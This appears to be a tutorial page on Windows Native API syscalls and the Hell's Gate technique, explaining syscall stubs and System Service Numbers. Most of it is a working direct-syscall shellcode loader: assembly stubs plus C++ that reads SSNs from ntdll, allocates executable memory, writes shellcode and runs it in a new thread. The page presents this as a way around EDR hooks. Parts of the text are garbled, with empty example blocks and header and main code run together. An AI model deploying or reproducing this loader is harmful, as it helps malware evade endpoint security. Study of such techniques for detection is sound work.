Windows syscalls¶
On Windows, user-mode applications do not directly execute privileged kernel operations. Instead, they normally interact with the operating system through several layers of APIs.
A simplified execution path looks like this:
Application
│
▼
Win32 API
kernel32.dll / kernelbase.dll
│
▼
Native API
ntdll.dll
│
▼
SYSCALL
│
▼
Windows Kernel
ntoskrnl.exe
For example, a high-level function such as VirtualAlloc() eventually reaches a Native API function such as ntdll!NtAllocateVirtualMemory which performs the transition from user mode to kernel mode.
To request a kernel service, they perform a system call, usually through code contained in ntdll.dll.
Native API¶
ntdll.dll exposes a large number of functions beginning with:
Examples:
NtAllocateVirtualMemory
NtProtectVirtualMemory
NtCreateThreadEx
NtOpenProcess
NtReadVirtualMemory
NtWriteVirtualMemory
NtQueryInformationProcess
NtQuerySystemInformation
The Nt* functions are particularly interesting because many of them eventually reach a kernel system service.
VirtualProtect()
│
▼
KernelBase.dll
│
▼
ntdll!NtProtectVirtualMemory
│
▼
syscall
│
▼
Kernel Memory Manager
What does a syscall stub look like?¶
On modern Windows x64 systems, a simplified Native API syscall stub commonly resembles:
Note: The exact bytes and syscall numbers depend on the Windows version and build.
The value loaded into EAX is commonly called the System Service Number (SSN).
It tells the kernel which system service the application is requesting.
The important point is that SSNs should not be assumed to remain identical between Windows builds. This is one reason techniques such as Hell's Gate dynamically discover them instead of permanently hardcoding them.
Direct Syscall¶
The program bypasses the normal execution of the corresponding Nt* stub and performs the transition using its own syscall mechanism.
Conceptually:
Historically, this has been studied as a way to avoid certain user-mode API hooks. However, it also changes the provenance of the syscall instruction.
Instead of:
security telemetry could potentially observe:Hell's Gate¶
Hell's gate is the technique to retrieve the syscall number by inspecting the function and extracting the SSN.
The following code is a simple example where we extract the syscall number by initializing the pointer to the Nt function and then extracting the 4th byte of the function which is typically located there.
Note: When the EDR hooks the Nt function this method does not works, then we need to use another technique such as Halo's gate to extract the SSN.
syscalls.asm
EXTERN wNtAllocateVirtualMemory:DWORD ; Extern keyword indicates that the symbol is defined in another module. Here it's the syscall number for NtAllocateVirtualMemory.
EXTERN wNtWriteVirtualMemory:DWORD ; Syscall number for NtWriteVirtualMemory.
EXTERN wNtCreateThreadEx:DWORD ; Syscall number for NtCreateThreadEx.
EXTERN wNtWaitForSingleObject:DWORD ; Syscall number for NtWaitForSingleObject.
.CODE ; Start the code section
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register.
syscall ; Execute syscall.
ret ; Return from the procedure.
NtAllocateVirtualMemory ENDP ; End of the procedure.
; Similar procedures for NtWriteVirtualMemory syscalls
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, wNtWriteVirtualMemory
syscall
ret
NtWriteVirtualMemory ENDP
; Similar procedures for NtCreateThreadEx syscalls
NtCreateThreadEx PROC
mov r10, rcx
mov eax, wNtCreateThreadEx
syscall
ret
NtCreateThreadEx ENDP
; Similar procedures for NtWaitForSingleObject syscalls
NtWaitForSingleObject PROC
mov r10, rcx
mov eax, wNtWaitForSingleObject
syscall
ret
NtWaitForSingleObject ENDP
END ; End of the module
directsyscall.cpp
#include <windows.h>
#include <stdio.h>
#include "syscalls.h"
// Declare global variables to hold syscall numbers
DWORD wNtAllocateVirtualMemory;
DWORD wNtWriteVirtualMemory;
DWORD wNtCreateThreadEx;
DWORD wNtWaitForSingleObject;
#ifndef _SYSCALLS_H // If _SYSCALLS_H is not defined then define it and the contents below. This is to prevent double inclusion.
#define _SYSCALLS_H // Define _SYSCALLS_H
#include <windows.h> // Include the Windows API header
#ifdef __cplusplus // If this header file is included in a C++ file, then this section will be true
extern "C" { // This is to ensure that the names of the functions are not mangled by the C++ compiler and are in C linkage format
#endif
// The type NTSTATUS is typically defined in the Windows headers as a long.
typedef long NTSTATUS; // Define NTSTATUS as a long
typedef NTSTATUS* PNTSTATUS; // Define a pointer to NTSTATUS
// Declare the function prototype for NtAllocateVirtualMemory
extern NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle, // Handle to the process in which to allocate the memory
PVOID* BaseAddress, // Pointer to the base address
ULONG_PTR ZeroBits, // Number of high-order address bits that must be zero in the base address of the section view
PSIZE_T RegionSize, // Pointer to the size of the region
ULONG AllocationType, // Type of allocation
ULONG Protect // Memory protection for the region of pages
);
// Declare the function prototype for NtWriteVirtualMemory
extern NTSTATUS NtWriteVirtualMemory(
HANDLE ProcessHandle, // Handle to the process in which to write the memory
PVOID BaseAddress, // Pointer to the base address
PVOID Buffer, // Buffer containing data to be written
SIZE_T NumberOfBytesToWrite, // Number of bytes to be written
PULONG NumberOfBytesWritten // Pointer to the variable that receives the number of bytes written
);
// Declare the function prototype for NtCreateThreadEx
extern NTSTATUS NtCreateThreadEx(
PHANDLE ThreadHandle, // Pointer to a variable that receives a handle to the new thread
ACCESS_MASK DesiredAccess, // Desired access to the thread
PVOID ObjectAttributes, // Pointer to an OBJECT_ATTRIBUTES structure that specifies the object's attributes
HANDLE ProcessHandle, // Handle to the process in which the thread is to be created
PVOID lpStartAddress, // Pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread
PVOID lpParameter, // Pointer to a variable to be passed to the thread
ULONG Flags, // Flags that control the creation of the thread
SIZE_T StackZeroBits, // A pointer to a variable that specifies the number of high-order address bits that must be zero in the stack pointer
SIZE_T SizeOfStackCommit, // The size of the stack that must be committed at thread creation
SIZE_T SizeOfStackReserve, // The size of the stack that must be reserved at thread creation
PVOID lpBytesBuffer // Pointer to a variable that receives any output data from the system
);
// Declare the function prototype for NtWaitForSingleObject
extern NTSTATUS NtWaitForSingleObject(
HANDLE Handle, // Handle to the object to be waited on
BOOLEAN Alertable, // If set to TRUE, the function returns when the system queues an I/O completion routine or APC for the thread
PLARGE_INTEGER Timeout // Pointer to a LARGE_INTEGER that specifies the absolute```c
// or relative time at which the function should return, regardless of the state of the object
);
#ifdef __cplusplus // End of the 'extern "C"' block if __cplusplus was defined
}
#endif
#endif // _SYSCALLS_H // End of the _SYSCALLS_H definition
int main() {
PVOID allocBuffer = NULL; // Declare a pointer to the buffer to be allocated
SIZE_T buffSize = 0x1000; // Declare the size of the buffer (4096 bytes)
// Get a handle to the ntdll.dll library
HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
// Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll
// This is typically located at the 4th byte of the function
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];
UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];
UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, "NtWaitForSingleObject");
wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];
// Replace this with your actual shellcode
unsigned char shellcode[] = "\xfc\x48\x83...";
// Use the NtAllocateVirtualMemory function to allocate memory for the shellcode
NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
ULONG bytesWritten;
// Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory
NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);
HANDLE hThread;
// Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);
// Use the NtWaitForSingleObject function to wait for the new thread to finish executing
NtWaitForSingleObject(hThread, FALSE, NULL);
}